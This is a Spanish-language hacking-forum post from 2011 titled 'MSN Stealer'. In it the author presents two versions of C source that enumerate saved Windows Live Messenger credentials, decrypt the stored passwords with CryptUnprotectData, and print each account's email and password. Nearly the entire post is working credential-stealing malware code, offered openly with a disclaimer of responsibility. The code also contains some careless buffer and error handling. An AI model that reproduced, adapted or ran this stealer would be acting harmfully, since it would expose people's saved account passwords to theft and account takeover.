MSN Stealer
Publicado: 26 Dic 2011, 05:18
Buenas indetectables, pues esta tarde me dio curiosidad ver cómo sacar el password del msn cuando marcas la casilla de recordar password, para esto me baje un stealer en vb (con eso de que nada se hace en vb), me di cuenta que no entendía ni un choto de cómo extraía la pass, así que estuve investigando y viendo algunas apis de la msdn y estructuras para ver cómo funciona esto, al final logré pasar la función de vb a C para obtener el user y pass del msn, por lo que no me puedo llevar todos los créditos de esta función aun así la mayor parte del código es mía solo miré el módulo de vb donde hace unos call's asi masomenos a writeprocessmemory(-1, ByVal VarPtr(lPtr), ByVal lCred + i * 4, &H4, 0), pues no entendía el porqué de las constantes *4 + x etcétera, sin emargo el módulo no cuenta con el nombre de autor por lo que no sé quien descubrió el método pero gracias a esa persona y bueno después de 4 horas liado con los punteros como cuando quitas las luces navideñas salió el código.
Lo intenté comentar lo más sencillo que pude y bueno devuelve msn+passwords pegados en un puntero a cadena (LPSTR o char *)
sin más que decir, mi traducción
Código nuevo:
Código anterior
Lo intenté comentar lo más sencillo que pude y bueno devuelve msn+passwords pegados en un puntero a cadena (LPSTR o char *)
sin más que decir, mi traducción
Código nuevo:
Código: Seleccionar todo
#include <stdio.h>
#include <windows.h>
#include <wincrypt.h>
//Stealer MSN C - Linkgl
//Definimos las p#$%&tas apis
typedef BOOL (WINAPI *_CredEnumerate)(
LPCTSTR Filter,
DWORD Flags,
DWORD *Count,
LONG **Credentials
);
typedef BOOL (WINAPI *_CryptUnprotectData)(
DATA_BLOB *pDataIn,
LPWSTR *ppszDataDescr,
DATA_BLOB *pOptionalEntropy,
PVOID pvReserved,
LONG *pPromptStruct,
DWORD dwFlags,
DATA_BLOB *pDataOut
);
//variables y estrucctura data blob
LONG ptr_credenciales;
LONG ptr_numero;
LONG ptr;
char *app={"WindowsLive:name=*"};
CRYPT_INTEGER_BLOB dtb;
//Devuelve el número de credenciales existentes
int cred(){
_CredEnumerate __CredEnumerate = NULL;
__CredEnumerate = (_CredEnumerate)GetProcAddress(LoadLibrary("Advapi32.dll"), "CredEnumerateA");
__CredEnumerate(app,0,&ptr_numero,&ptr_credenciales);
return ptr_numero;
}
char * msn(int i)
{
// No me hago responsable por el uso que se le de a la funcion
// Thanks to a vbmodule (doesn't have the name of the coder)
// and msdn
LONG usr;
int o;
char *temp;
char *temp_user;
int tam_user;
char *user;
BOOL check;
//Sacamos las apis de las dll
_CredEnumerate __CredEnumerate = NULL;
__CredEnumerate = (_CredEnumerate)GetProcAddress(LoadLibrary("Advapi32.dll"), "CredEnumerateA");
_CryptUnprotectData __CryptUnprotectData = NULL;
__CryptUnprotectData = (_CryptUnprotectData)GetProcAddress(LoadLibrary("Crypt32.dll"), "CryptUnprotectData");
//Sacamos las credenciales SOLO de windowslive
//y las almacenamos en un puntero que apunta a un array de punteros XD
check=__CredEnumerate(app,0,&ptr_numero,&ptr_credenciales);
if(__CredEnumerate==FALSE)
{
return NULL;
}
else
{
//aca movemos la direccion de las credenciales al puntero
memcpy(&ptr,ptr_credenciales+i*4,0x4);
//sacamos el msn
memcpy(&usr,ptr+48,0x4);
//rellenamos la estructura DATA BLOB (con el pass encryptado)
memcpy(&dtb.pbData,ptr+28,0x4);
memcpy(&dtb.cbData,ptr+24,0x4);
//desencriptamos los datos de la estructura (ver msdn :P)
__CryptUnprotectData(&dtb,0,0,0,0,1,0);
//reservamos el tamaño del pass
//la estructura contiene la pass y el tamaño*2
//tonses la dividimos xDD
temp=(char *)malloc(dtb.cbData/2);
memset(temp,0,dtb.cbData/2+1);
//copiamos el primer caracter de la pass
memcpy(&temp[0],&dtb.pbData[0],1);
//bucle del 2do caracter al ultimo
for(o=1;o<dtb.cbData/2;o++)
{
//copiamos la pass caracter x caracter
//saltando 1 byte nulo
memcpy(&temp[o],&dtb.pbData[o*2],1);
}
//sacamos el tamaño del user
tam_user=lstrlen(usr);
//reservamos la ultima cadena del tamaño del user + la pass
temp_user=(char *)malloc(tam_user+dtb.cbData/2+1);
memset(temp_user,0,tam_user+dtb.cbData/2+1);
//copiamos el correo
memcpy(temp_user,usr,tam_user);
//bucle para pegar el user y pass
for(o=tam_user;o<tam_user+dtb.cbData/2;o++)
{
//pegamos la pass al final del correo
memcpy(&temp_user[o],&temp[o - tam_user],1);
}
//retornamos user + pass
}
return temp_user;
}
int main()
{
/*
La función cred() devuelve el número de credenciales existentes en la pc
La función msn(i) devuelve las credenciales del id específico con la siguiente estructura
[email protected]
Un ejemplo para extraer todos los correos y contrasñeas guardadas de
Windows live messenger:
*/
int c;
for(c=0;c<cred();c++)
printf("- %s - ",msn(c));
getchar();
/*
Saludos
Linkgl */
return 0;
}
Código: Seleccionar todo
#include <stdio.h>
#include <windows.h>
#include <wincrypt.h>
//Definimos las p#$%&tas apis
typedef BOOL (WINAPI *_CredEnumerate)(
LPCTSTR Filter,
DWORD Flags,
DWORD *Count,
LONG **Credentials
);
typedef BOOL (WINAPI *_CryptUnprotectData)(
DATA_BLOB *pDataIn,
LPWSTR *ppszDataDescr,
DATA_BLOB *pOptionalEntropy,
PVOID pvReserved,
LONG *pPromptStruct,
DWORD dwFlags,
DATA_BLOB *pDataOut
);
char * msn()
{
// FUNCION DE EXTRACCION DE CREDENCIALES DE MSN
// TRADUCIDO Y EXTENDIDO POR Linkgl
// No me hago responsable por el uso que se le de a la funcion
// Thanks to a vbmodule (doesn't have the name of the coder)
// and msdn
//Estructura DATA BLOB y variables que almacenaran direcciones de memoria
CRYPT_INTEGER_BLOB dtb;
int i;
LONG ptr_credenciales;
LONG ptr_numero;
LONG ptr;
LONG usr;
char *user;
BOOL check;
//key
char *app={"WindowsLive:name=*"};
//Sacamos las apis de las dll
_CredEnumerate __CredEnumerate = NULL;
__CredEnumerate = (_CredEnumerate)GetProcAddress(LoadLibrary("Advapi32.dll"), "CredEnumerateA");
_CryptUnprotectData __CryptUnprotectData = NULL;
__CryptUnprotectData = (_CryptUnprotectData)GetProcAddress(LoadLibrary("Crypt32.dll"), "CryptUnprotectData");
//Sacamos las credenciales de windowslive
//y las almacenamos en un puntero que apunta a un array de punteros XD
check=__CredEnumerate(app,0,&ptr_numero,&ptr_credenciales);
if(__CredEnumerate==FALSE)
{
return NULL;
}
else
{
//Hacemos un bucle hasta sacar todas las credenciales existentes
for(i=0;i<=ptr_numero-1;i++)
{
int o;
char *temp;
char *temp_user;
int tam_user;
//aca movemos la direccion de las credenciales al puntero
memcpy(&ptr,ptr_credenciales+i*4,0x4);
//sacamos el msn
memcpy(&usr,ptr+48,0x4);
//rellenamos la estructura DATA BLOB (con el pass encryptado)
memcpy(&dtb.pbData,ptr+28,0x4);
memcpy(&dtb.cbData,ptr+24,0x4);
//desencriptamos los datos de la estructura (ver msdn :P)
__CryptUnprotectData(&dtb,0,0,0,0,1,0);
//reservamos el tamaño del pass
//la estructura contiene la pass y el tamaño*2
//tonses la dividimos xDD
temp=(char *)malloc(dtb.cbData/2);
memset(temp,0,dtb.cbData/2+1);
//copiamos el primer caracter de la pass
memcpy(&temp[0],&dtb.pbData[0],1);
//bucle del 2do caracter al ultimo
for(o=1;o<dtb.cbData/2;o++)
{
//copiamos la pass caracter x caracter
//saltando 1 byte nulo
memcpy(&temp[o],&dtb.pbData[o*2],1);
}
//sacamos el tamaño del user
tam_user=lstrlen(usr);
//reservamos la ultima cadena del tamaño del user + la pass
temp_user=(char *)malloc(tam_user+dtb.cbData/2+1);
memset(temp_user,0,tam_user+dtb.cbData/2+1);
//copiamos el correo
memcpy(temp_user,usr,tam_user);
//bucle para pegar el user y pass
for(o=tam_user;o<tam_user+dtb.cbData/2;o++)
{
//pegamos la pass al final del correo
memcpy(&temp_user[o],&temp[o - tam_user],1);
}
//retornamos user + pass
return temp_user;
}
}
}
int main()
{
printf("%s",msn());
getchar();
return 0;
}